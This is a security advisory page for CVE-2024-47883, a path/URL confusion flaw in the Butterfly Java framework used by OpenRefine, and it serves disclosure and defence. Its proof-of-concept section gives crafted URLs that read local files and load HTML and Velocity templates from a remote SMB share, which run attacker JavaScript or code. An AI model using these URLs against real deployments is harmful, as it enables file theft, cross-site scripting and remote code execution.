GHSA-3P8V-W8MR-M3X8

Vulnerability from github – Published: 2024-10-24 18:16 – Updated: 2024-10-24 21:46
VLAI
Summary
Butterfly has path/URL confusion in resource handling leading to multiple weaknesses
Details

Summary

The Butterfly framework uses the java.net.URL class to refer to (what are expected to be) local resource files, like images or templates. This works: "opening a connection" to these URLs opens the local file. However, if a file:/ URL is directly given where a relative path (resource name) is expected, this is also accepted in some code paths; the app then fetches the file, from a remote machine if indicated, and uses it as if it was a trusted part of the app's codebase.

This leads to multiple weaknesses and potential weaknesses:

  • An attacker that has network access to the application could use it to gain access to files, either on the the server's filesystem (path traversal) or shared by nearby machines (server-side request forgery with e.g. SMB).
  • An attacker that can lead or redirect a user to a crafted URL belonging to the app could cause arbitrary attacker-controlled JavaScript to be loaded in the victim's browser (cross-site scripting).
  • If an app is written in such a way that an attacker can influence the resource name used for a template, that attacker could cause the app to fetch and execute an attacker-controlled template (remote code execution).

Details

The edu.mit.simile.butterfly.ButterflyModuleImpl.getResource method converts a resource name into an URL, for instance:

images/logo-gem-126.svg
file:/C:/Users/Wander/IdeaProjects/OpenRefine/main/webapp/modules/core/images/logo-gem-126.svg

If the resource name already starts with file:/, it is passed through unmodified (line 287). There is no check that the resulting URL is inside the expected directory or on the same machine.

The default implementation for process in ButterflyModuleImpl is to serve a named resource, which makes it vulnerable. The Velocity template library is bound to the same getResource implementation through the ButterflyResourceLoader class, which means it is also vulnerable if template resource names can somehow be influenced by an attacker.

PoC

This demonstration has been tested with OpenRefine on a Windows machine. Start OpenRefine, create a file (here example.js) with some contents, then concatenate the OpenRefine URL and its file:/ URL, as follows:

http://localhost:3333/file:/C:/Users/Wander/example.js

The file is read and sent to the browser. Then, visit:

http://localhost:3333/file:%2f%2fwandernauta.nl/public/demo.html

Assuming there are no firewalls in the way, the HTML page is retrieved from the public SMB (Samba) network share and sent to the browser, which executes the embedded JavaScript.

In the case of OpenRefine specifically, to demonstrate the attacker-controlled template name case:

http://localhost:3333/file:%2f%2fwandernauta.nl/public/index

An index.vt template containing the snippet above is retrieved from the same share, which is then executed; the Windows calculator opens.

Impact

Depending on how the framework is used: path traversal, XSS, SSRF; potentially RCE.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.openrefine.dependencies:butterfly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47883"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-36",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-24T18:16:43Z",
    "nvd_published_at": "2024-10-24T21:15:13Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe Butterfly framework uses the `java.net.URL` class to refer to (what are expected to be) local resource files, like images or templates. This works: \"opening a connection\" to these URLs opens the local file. However, if a `file:/` URL is directly given where a relative path (resource name) is expected, this is also accepted in some code paths; the app then fetches the file, from a remote machine if indicated, and uses it as if it was a trusted part of the app\u0027s codebase.\n\nThis leads to multiple weaknesses and potential weaknesses:\n\n* An attacker that has network access to the application could use it to gain access to files, either on the the server\u0027s filesystem (path traversal) or shared by nearby machines (server-side request forgery with e.g. SMB).\n* An attacker that can lead or redirect a user to a crafted URL belonging to the app could cause arbitrary attacker-controlled JavaScript to be loaded in the victim\u0027s browser (cross-site scripting).\n* If an app is written in such a way that an attacker can influence the resource name used for a template, that attacker could cause the app to fetch and execute an attacker-controlled template (remote code execution).\n\n### Details\n\nThe `edu.mit.simile.butterfly.ButterflyModuleImpl.getResource` method converts a resource name into an URL, for instance:\n\n```\nimages/logo-gem-126.svg\nfile:/C:/Users/Wander/IdeaProjects/OpenRefine/main/webapp/modules/core/images/logo-gem-126.svg\n```\n\nIf the resource name already starts with `file:/`, it is passed through unmodified (line 287). There is no check that the resulting URL is inside the expected directory or on the same machine.\n\nThe default implementation for `process` in `ButterflyModuleImpl` is to serve a named resource, which makes it vulnerable. The Velocity template library is bound to the same `getResource` implementation through the `ButterflyResourceLoader` class, which means it is also vulnerable if template resource names can somehow be influenced by an attacker.\n\n### PoC\n\nThis demonstration has been tested with [OpenRefine](https://github.com/OpenRefine/OpenRefine) on a Windows machine. Start OpenRefine, create a file (here `example.js`) with some contents, then concatenate the OpenRefine URL and its `file:/` URL, as follows:\n\n    http://localhost:3333/file:/C:/Users/Wander/example.js\n\nThe file is read and sent to the browser. Then, visit:\n\n    http://localhost:3333/file:%2f%2fwandernauta.nl/public/demo.html\n\nAssuming there are no firewalls in the way, the HTML page is retrieved from the public SMB (Samba) network share and sent to the browser, which executes the embedded JavaScript.\n\nIn the case of OpenRefine specifically, to demonstrate the attacker-controlled template name case:\n\n    http://localhost:3333/file:%2f%2fwandernauta.nl/public/index\n\nAn `index.vt` template containing the snippet above is retrieved from the same share, which is then executed; the Windows calculator opens.\n\n### Impact\n\nDepending on how the framework is used: path traversal, XSS, SSRF; potentially RCE.",
  "id": "GHSA-3p8v-w8mr-m3x8",
  "modified": "2024-10-24T21:46:18Z",
  "published": "2024-10-24T18:16:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenRefine/simile-butterfly/security/advisories/GHSA-3p8v-w8mr-m3x8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47883"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenRefine/simile-butterfly/commit/537f64bfa72746f8b21d4bda461fad843435319c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenRefine/simile-butterfly"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Butterfly has path/URL confusion in resource handling leading to multiple weaknesses"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.